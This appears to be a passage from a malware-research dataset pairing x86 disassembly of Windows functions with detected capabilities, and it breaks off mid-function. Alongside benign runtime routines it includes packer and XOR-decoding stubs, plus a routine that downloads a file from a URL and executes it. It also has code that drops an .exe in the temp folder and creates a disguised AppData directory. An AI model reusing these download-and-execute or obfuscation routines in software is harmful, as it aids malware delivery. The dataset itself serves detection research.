joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404a70
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x438
mov dword [ebp - 0x1c], esp
mov dword [ebp - 0x10], 0xffffffff
mov dword [ebp - 0x14], 0x404cc0
mov esi, 0x200
lea eax, [ebp - 0x18]
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x30], 2
mov ecx, dword fs:[0]
mov dword [ebp - 0x18], ecx
mov dword fs:[0], eax
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 2
mov dword [ebp - 0x24], 0
cmp esi, 0x201
jae 0x404b00
jmp 0x404aee
jbe 0x404b94
cmp esi, 0x201
jae 0x404b00
mov dword [ebp - 0x34], 0x200
lea edi, [ebp - 0x444]
mov ebx, esi
jmp 0x404b3b
mov ebx, dword [ebp - 0x20]
mov eax, ebx
sub esi, ebx
sub eax, ebx
cmp esi, eax
jbe 0x404b2f
mov dword [ebp - 0x10], 0
push 2
push 2
push esi
push ebx
lea eax, [ebp - 0x2c]
push eax
call fcn.00425210
add esp, 0x14
mov ebx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x30], eax
mov edi, dword [ebp - 0x30]
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x20], ebx
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov esi, eax
test eax, eax
jne 0x404b5f
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x404bf7
cmp esi, ebx
jne 0x404ae0
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x404c16
lea esi, [ebx + ebx]
test ebx, ebx
mov eax, 0xffffffff
cmovs esi, eax
cmp esi, 0x201
jb 0x404aee
jmp 0x404b00
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x10], 0
cmp esi, eax
ja 0x404c33
lea eax, [ebp - 0x44]
push esi
push edi
push eax
call fcn.00407820
add esp, 0xc
movsd xmm0, qword [ebp - 0x44]
mov esi, dword [ebp + 8]
movsd xmm1, qword [ebp - 0x3c]
movsd qword [esi + 8], xmm1
movsd qword [esi], xmm0
mov eax, dword [ebp - 0x20]
test eax, eax
je 0x404be1
add eax, eax
push 2
push eax
push dword [ebp - 0x28]
call fcn.00401070
add esp, 0xc
mov eax, dword [ebp - 0x18]
mov dword fs:[0], eax
mov eax, esi
add esp, 0x438
pop esi
pop edi
pop ebx
pop ebp
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, dword [ebp + 8]
mov byte [esi + 4], 0
mov dword [esi + 8], eax
mov dword [esi], 0x80000000
mov eax, dword [ebp - 0x20]
test eax, eax
jne 0x404bd1
jmp 0x404be1
mov dword [ebp - 0x10], 0
push 0x426dcc
push 0x28
push 0x426da4
call fcn.00425440
add esp, 0xc
jmp 0x404c42
push 0x426d94
push eax
push esi
call fcn.00425730
add esp, 0xc
ud2
Function at 0x407620
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x50
mov esi, ecx
mov ecx, dword [ebp + 0x14]
mov edi, edx
mov edx, dword [ebp + 0x1c]
mov eax, dword [ebp + 8]
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x103
lea ebx, [esp + 8]
mov dword [esp + 0x1c], ecx
mov ecx, dword [ebp + 0x10]
mov dword [esp + 0x18], ecx
mov dword [esp + 0x24], edx
mov edx, dword [ebp + 0x18]
mov dword [esp + 0x20], edx
xor edx, edx
test cl, 1
lea ecx, [esp + 0x20]
cmovne edx, ecx
mov ecx, dword [ebp + 0xc]
push 0
push edx
push ecx
push eax
push ebx
push 0
push 0
push 0
push edi
call dword [sym.imp.ntdll.dll_NtWriteFile]
cmp eax, 0x103
jne 0x4076a0
push 0xffffffffffffffff
push edi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [esp + 8]
cmp eax, 0x103
je 0x4076c2
test eax, eax
js 0x4076ac
mov eax, dword [esp + 0xc]
mov bl, 4
jmp 0x4076b5
xor ebx, ebx
push eax
call dword [sym.imp.ntdll.dll_RtlNtStatusToDosError]
mov dword [esi + 4], eax
mov byte [esi], bl
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
lea eax, [esp + 4]
mov dword [esp + 0x2c], 0x427b34
mov dword [esp + 0x30], 1
mov dword [esp + 0x3c], 0
mov dword [esp + 0x10], 0
mov byte [esp + 0x14], 0
lea ecx, [esp + 0x10]
lea esi, [esp + 0x44]
mov dword [esp + 0x34], eax
lea eax, [esp + 0x2c]
mov dword [esp + 0x38], 0
push eax
push ecx
push esi
call fcn.00405d10
add esp, 0xc
mov ecx, esi
call fcn.00403770
mov ecx, 7
int 0x29
ud2
Function at 0x4166d4
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x416713
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x416713
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x416713
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x416713
cmp dword [ecx + 0x74], 0xe
jbe 0x416713
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x41d983
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x41da20
push ebx
push esi
call fcn.0041d94c
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.0041d8e0
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x41d9cd
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x41da1f
push edi
push eax
call fcn.0041e5a3
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x41d9ed
call fcn.0041c441
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x41da1e
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.0041d8e0
add esp, 0x20
test eax, eax
jne 0x41da0c
push edi
call fcn.0041c441
jmp 0x41da14
push ebx
call fcn.0041c441
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x41ed20
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x42c540
push 0x42c538
push str.FlsAlloc
push 0x1f
call fcn.0041ebdf
mov esi, eax
add esp, 0x10
test esi, esi
je 0x41ed54
push dword [ebp + 8]
mov ecx, esi
call dword [0x426160]
call esi
jmp 0x41ed5a
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x41ed9e
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x42c550
push 0x42c548
push str.FlsGetValue
push 0x21
call fcn.0041ebdf
mov esi, eax
add esp, 0x10
test esi, esi
je 0x41edd5
push dword [ebp + 8]
mov ecx, esi
call dword [0x426160]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x41eddd
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x42c558
push 0x42c550
push str.FlsSetValue
push 0x22
call fcn.0041ebdf
mov esi, eax
add esp, 0x10
test esi, esi
je 0x41ee17
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x426160]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x424270
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x42429d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x42429d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x407f80
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x6000]
push edi
or ebp, 0xffffffff
jmp 0x407fa2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x407fa9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x407f98
mov eax, 1
add ebx, ebx
jne 0x407fbb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x407fb0
jne 0x407fcc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x407fb0
xor ecx, ecx
sub eax, 3
jb 0x407fe0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x408052
mov ebp, eax
add ebx, ebx
jne 0x407feb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x407ff8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x40801c
inc ecx
add ebx, ebx
jne 0x408008
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x407ffd
jne 0x408019
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x407ffd
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x40803c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x40802d
jmp 0x407f9e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x40803c
add edi, ecx
jmp 0x407f9e
pop esi
mov edi, esi
mov ecx, 0x8f
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x40805a
cmp byte [edi], 0
jne 0x40805a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x40805f
lea edi, [esi + 0x5000]
mov eax, dword [edi]
or eax, eax
je 0x4080d7
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x8d64]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x8ddc]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x40808c
mov ecx, edi
jns 0x4080bb
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x8de4]
or eax, eax
je 0x4080d1
mov dword [ebx], eax
add ebx, 4
jmp 0x4080a9
call dword [esi + 0x8de0]
mov ebp, dword [esi + 0x8de8]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x217]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x40810b
sub esp, 0xffffff80
jmp 0x402130

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43300c
nop
nop
pop eax
nop
nop
nop
nop
add eax, 0x40a063
nop
sub eax, 0x40a009
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x433030
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
jne 0x43301e
nop
nop
nop
nop
nop
popal
jmp 0x431219
Function at 0x114c058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x114c1a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x114c07e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x114c06a
add dl, dl
jne 0x114c089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x114c0dc
xor eax, eax
add dl, dl
jne 0x114c096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x114c17d
add dl, dl
jne 0x114c0a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x114c0b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x114c0bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x114c0c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x114c0d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x114c075
mov eax, 1
add dl, dl
jne 0x114c0ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x114c0f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x114c0e1
sub eax, ebx
mov ebx, 1
jne 0x114c128
mov ecx, 1
add dl, dl
jne 0x114c10e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x114c119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x114c105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x114c075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x114c13f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x114c14a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x114c136
cmp eax, 0x7d00
jae 0x114c16d
cmp eax, 0x500
jb 0x114c168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x114c075
cmp eax, 0x7f
ja 0x114c170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x114c075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x114c19e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x114c075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x42e004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
mov eax, section..reloc
nop
push 4
nop
nop
nop
nop
nop
nop
nop
nop
pop edi
cmp eax, 0
nop
nop
nop
nop
nop
nop
nop
je 0x42e072
nop
mov ebx, 0x407ef8
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
push eax
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x14ee54c9
nop
nop
nop
nop
nop
xor dword [eax], esi
add eax, edi
nop
nop
nop
nop
nop
loop 0x42e060
nop
nop
nop
nop
mov eax, section..rsrc
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x42e0d2
mov ebx, 0x42cd70
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x4c6f5b0f
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x42e0c0
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x4024bb
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
mov ebx, ecx
push esi
xor esi, esi
mov dword [ebp - 4], ebx
mov dword [ebp - 8], esi
cmp dword [ebx + 0xc], esi
je 0x40260c
cmp dword [ebx + 0x10], esi
je 0x40260c
mov dword [ebx + 4], esi
mov eax, esi
mov dword [ebx], esi
mov ecx, dword [ebx + 0xc]
movzx edx, al
mov al, byte [ebx]
mov byte [edx + ecx], al
mov eax, dword [ebx]
inc eax
mov dword [ebx], eax
cmp eax, 0x100
jb 0x4024e6
mov dword [ebx], esi
mov eax, esi
push edi
movzx esi, al
xor edx, edx
mov ecx, 0xfa
mov edi, dword [ebx + 0xc]
div ecx
mov eax, dword [ebx + 0x10]
movsx ecx, byte [edx + eax]
movsx eax, byte [esi + edi]
add ecx, eax
add dword [ebx + 4], ecx
mov eax, dword [ebx + 4]
movzx eax, al
mov al, byte [eax + edi]
xor byte [esi + edi], al
mov edx, dword [ebx + 0xc]
movzx eax, byte [ebx]
movzx ecx, byte [ebx + 4]
mov al, byte [eax + edx]
xor byte [ecx + edx], al
mov edx, dword [ebx + 0xc]
movzx eax, byte [ebx + 4]
movzx ecx, byte [ebx]
mov al, byte [eax + edx]
xor byte [ecx + edx], al
mov eax, dword [ebx]
inc eax
mov dword [ebx], eax
cmp eax, 0x100
jb 0x402502
xor eax, eax
mov dword [ebx], eax
mov dword [ebx + 4], eax
cmp dword [ebx + 8], eax
jbe 0x40260b
mov ecx, eax
mov edi, dword [ebp - 4]
lea eax, [ecx + 1]
mov dword [ebx], eax
mov edx, dword [ebx + 0xc]
movzx ecx, al
mov bl, byte [ecx + edx]
movsx eax, bl
add dword [edi + 4], eax
mov dword [ebp - 0x10], eax
mov eax, dword [edi + 4]
movzx eax, al
mov al, byte [eax + edx]
mov byte [ecx + edx], al
movzx ecx, byte [edi + 4]
movsx esi, al
mov eax, dword [edi + 0xc]
mov dword [ebp - 0xc], esi
mov byte [ecx + eax], bl
mov ebx, edi
mov esi, dword [ebx + 4]
mov ecx, esi
mov edx, dword [ebx]
mov eax, edx
mov edi, dword [ebx + 0xc]
shl eax, 5
shr ecx, 3
xor ecx, eax
shr edx, 3
movzx eax, cl
movsx ecx, byte [eax + edi]
mov eax, esi
shl eax, 5
xor edx, eax
movzx eax, dl
mov edx, dword [ebp - 0xc]
movsx eax, byte [eax + edi]
add ecx, eax
mov eax, dword [ebp - 0x10]
xor ecx, 0xffffffaa
add eax, edx
movzx ecx, cl
movzx eax, al
mov cl, byte [ecx + edi]
add cl, byte [eax + edi]
lea eax, [esi + edx]
mov edx, dword [ebp + 8]
movzx eax, al
xor cl, byte [eax + edi]
mov eax, dword [ebp - 8]
xor byte [eax + edx], cl
inc eax
inc dword [ebx]
mov ecx, dword [ebx]
mov dword [ebp - 8], eax
cmp eax, dword [ebx + 8]
jb 0x40256b
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x402746
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, ecx
lea eax, [esi + 4]
push eax
xor eax, eax
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
xor ecx, ecx
mov dword [esi], eax
test eax, eax
pop esi
setne cl
mov eax, ecx
pop ebp
ret 8

Function at 0x402771
Capabilities:
Terminate thread

Disassembly:
push esi
mov esi, ecx
cmp dword [esi], 0
je 0x40278b
push 0
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push dword [esi]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
and dword [esi], 0
pop esi
ret
Function at 0x403556
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
xor esi, esi
cmp dword [edx + 4], esi
jne 0x403589
lea eax, [edx + 8]
push eax
lea ecx, [ebp - 4]
call fcn.00404656
push 5
push esi
push esi
push dword [ebp - 4]
push str.open
push esi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov ecx, dword [ebp - 4]
call fcn.00406f1d
pop esi
leave
ret

Function at 0x4035cc
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [ebp + 8]
push esi
push edi
mov esi, ecx
mov ecx, edx
mov edi, dword [eax + 4]
lea eax, [ebp - 0xc]
push eax
call fcn.00406d2f
lea ecx, [ebp + 8]
push ecx
mov ecx, eax
call fcn.0040456d
mov ecx, dword [ebp - 0xc]
call fcn.00406f1d
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_inet_addr]
cmp eax, 0xffffffff
jne 0x403649
lea eax, [ebp - 8]
mov dword [ebp - 0x24], 1
push eax
xor ecx, ecx
mov dword [ebp - 0x20], 6
lea eax, [ebp - 0x2c]
mov dword [ebp - 8], ecx
push eax
push ecx
push dword [ebp + 8]
xorps xmm0, xmm0
mov dword [ebp - 0x2c], ecx
movlpd qword [ebp - 0x1c], xmm0
movlpd qword [ebp - 0x14], xmm0
mov dword [ebp - 0x28], ecx
call dword [sym.imp.WS2_32.dll_getaddrinfo]
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0x18]
mov eax, dword [eax + 4]
push eax
push edi
push esi
push ecx
call fcn.004180c4
mov ecx, dword [ebp + 8]
call fcn.00406f1d
pop edi
pop esi
leave
ret

Function at 0x4036ea
Capabilities:
Create process on windows
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
mov ebx, ecx
lea ecx, [ebp - 8]
push 0x1a
pop edx
call fcn.00413915
push 0x4194e4
lea ecx, [ebp - 8]
call fcn.004043fa
push 0xa
pop edx
lea ecx, [ebp - 0xc]
mov esi, eax
call fcn.004044c4
push eax
mov ecx, esi
call fcn.004042c5
mov ecx, dword [ebp - 0xc]
call fcn.00406f1d
mov edi, dword [ebp + 8]
lea ecx, [ebp - 0xc]
add edi, 4
push edi
call fcn.00404656
lea eax, [ebp + 8]
push eax
lea ecx, [ebp - 0xc]
call fcn.0040453a
push eax
lea ecx, [ebp - 8]
call fcn.004042c5
mov ecx, dword [ebp + 8]
call fcn.00406f1d
mov ecx, dword [ebp - 0xc]
and dword [ebp + 8], 0
call fcn.00406f1d
mov esi, dword [ebp - 8]
lea ecx, [ebp + 8]
push edi
call fcn.00404656
xor edi, edi
push edi
push edi
push esi
push dword [ebp + 8]
push edi
call dword [sym.imp.urlmon.dll_URLDownloadToFileW]
mov ecx, dword [ebp + 8]
mov esi, eax
call fcn.00406f1d
test esi, esi
je 0x403794
mov dword [ebp - 0xc], 1
jmp 0x4037b6
push 5
push edi
push edi
push dword [ebp - 8]
push str.open
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov dword [ebp - 0xc], 2
cmp eax, 0x20
jbe 0x4037b6
mov dword [ebp - 0xc], edi
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], 0x41986c
push eax
mov ecx, ebx
call fcn.00405f32
mov ecx, dword [ebp - 8]
call fcn.00406f1d
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4037e6
Capabilities:
Check if file exists
Create process on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x234
and dword [ebp - 4], 0
lea ecx, [ebp - 8]
push ebx
push esi
push edi
mov edi, edx
lea ebx, [edi + 8]
push ebx
call fcn.00404656
lea ecx, [ebp - 8]
call fcn.004045f0
mov ecx, dword [ebp - 8]
mov esi, eax
call fcn.00406f1d
test esi, esi
jne 0x403865
lea eax, [ebp - 0x230]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea eax, [ebp - 0x230]
push eax
lea ecx, [ebp - 8]
call fcn.0040460a
push eax
lea ecx, [ebp - 4]
call fcn.004043c7
mov ecx, dword [ebp - 8]
call fcn.00406f1d
push dword [edi + 4]
lea ecx, [ebp - 4]
call fcn.00404477
push str..exe
mov ecx, eax
call fcn.004043fa
jmp 0x403882
push ebx
lea ecx, [ebp - 8]
call fcn.00404656
lea eax, [ebp - 8]
push eax
lea ecx, [ebp - 4]
call fcn.004043c7
mov ecx, dword [ebp - 8]
call fcn.00406f1d
xor ebx, ebx
cmp dword [edi + 0xc], ebx
jne 0x4038ba
push ecx
mov esi, esp
mov dword [esi], ebx
cmp dword [ebp - 4], ebx
je 0x4038b4
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea ecx, [eax*2 + 2]
call fcn.00406f2c
mov dword [esi], eax
push dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
call fcn.00413c34
pop ecx
push ebx
push ecx
mov esi, esp
mov dword [esi], ebx
cmp dword [ebp - 4], 0
je 0x4038e7
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea ecx, [eax*2 + 2]
call fcn.00406f2c
mov dword [esi], eax
push dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea ecx, [ebp - 0x24]
call fcn.00413fdb
push dword [ebp - 4]
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
push ecx
test eax, eax
jne 0x403908
push ecx
lea ecx, [ebp - 0x24]
call fcn.00413f8e
jmp 0x403915
push 0x40000000
lea ecx, [ebp - 0x24]
call fcn.00413f4f
test eax, eax
je 0x403942
lea eax, [edi + 0x18]
push eax
lea ecx, [ebp - 0xc]
call fcn.00404094
push ecx
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x24]
call fcn.00413ef9
lea ecx, [ebp - 0xc]
call fcn.00404081
lea ecx, [ebp - 0x24]
call fcn.00413ee1
cmp byte [edi + 0x14], 0
je 0x403963
mov eax, dword [edi + 0xc]
cmp eax, dword [edi + 0x10]
jne 0x403963
push 5
push ebx
push ebx
push dword [ebp - 4]
push str.open
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
lea ecx, [ebp - 0x24]
call fcn.00413c16
mov ecx, dword [ebp - 4]
call fcn.00406f1d
pop edi
pop esi
pop ebx
leave
ret
Function at 0x403d11
Capabilities:
Create directory
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x368
push ebx
push esi
mov dword [ebp - 0x1c], ecx
lea ecx, [ebp - 0x18]
push edi
mov dword [ebp - 0xc], edx
call fcn.004135d1
lea ecx, [ebp - 0x14]
call fcn.004134a0
push 0x104
lea eax, [ebp - 0x15c]
xor esi, esi
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [ebp - 8]
mov dword [ebp - 8], esi
lea ecx, [ebp - 0x15c]
call fcn.00415e27
mov edx, dword [ebp - 8]
lea ecx, [ebp - 0x10]
push ecx
push 0x10ad
mov ecx, eax
mov dword [ebp - 0x10], esi
call fcn.00415b64
call fcn.004136a5
mov esi, eax
call fcn.004138ef
mov dword [ebp - 8], eax
call fcn.00413893
mov ebx, eax
call fcn.004136c8
add esp, 4
mov edi, eax
mov ecx, esp
push dword [ebp - 0x14]
call fcn.0040460a
push ecx
mov ecx, esp
push dword [ebp - 0x18]
call fcn.0040460a
push esi
push dword [ebp - 0x10]
push ecx
mov ecx, esp
push 0x419490
call fcn.0040460a
push ecx
mov ecx, esp
call fcn.004139ad
push dword [ebp - 8]
push ebx
push edi
push 0x12f
push ecx
push ecx
mov ecx, esp
call fcn.004139e7
lea ecx, [ebp - 0x50]
call fcn.004052bc
mov ebx, dword [ebp - 0x1c]
mov ecx, ebx
push eax
call fcn.00405f32
lea ecx, [ebp - 0x50]
call fcn.0040527a
mov eax, dword [ebp - 0xc]
xor esi, esi
cmp dword [eax + 0x3c], esi
je 0x403e56
push 0x208
lea eax, [ebp - 0x364]
push esi
push eax
call fcn.00401293
add esp, 0xc
lea eax, [ebp - 0x364]
push eax
push esi
push esi
push 0x1c
push esi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
push str.Microsoft_Vision_
lea eax, [ebp - 0x364]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push esi
lea eax, [ebp - 0x364]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push 1
push ebx
call fcn.0040bd63
lea eax, [ebp - 0xc]
mov dword [ebp - 0xc], 0x41c9a4
push eax
mov ecx, ebx
call fcn.00405f32
mov ecx, dword [ebp - 0x14]
call fcn.00406f1d
mov ecx, dword [ebp - 0x18]
call fcn.00406f1d
pop edi
pop esi
pop ebx
leave
ret

Function at 0x404201
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x400
lea eax, [ebp - 0x400]
push esi
push edi
push 0x400
push 0
push eax
mov esi, edx
mov edi, ecx
call fcn.00401293
add esp, 0xc
lea eax, [ebp - 0x400]
push 0x1ff
push eax
push dword [esi]
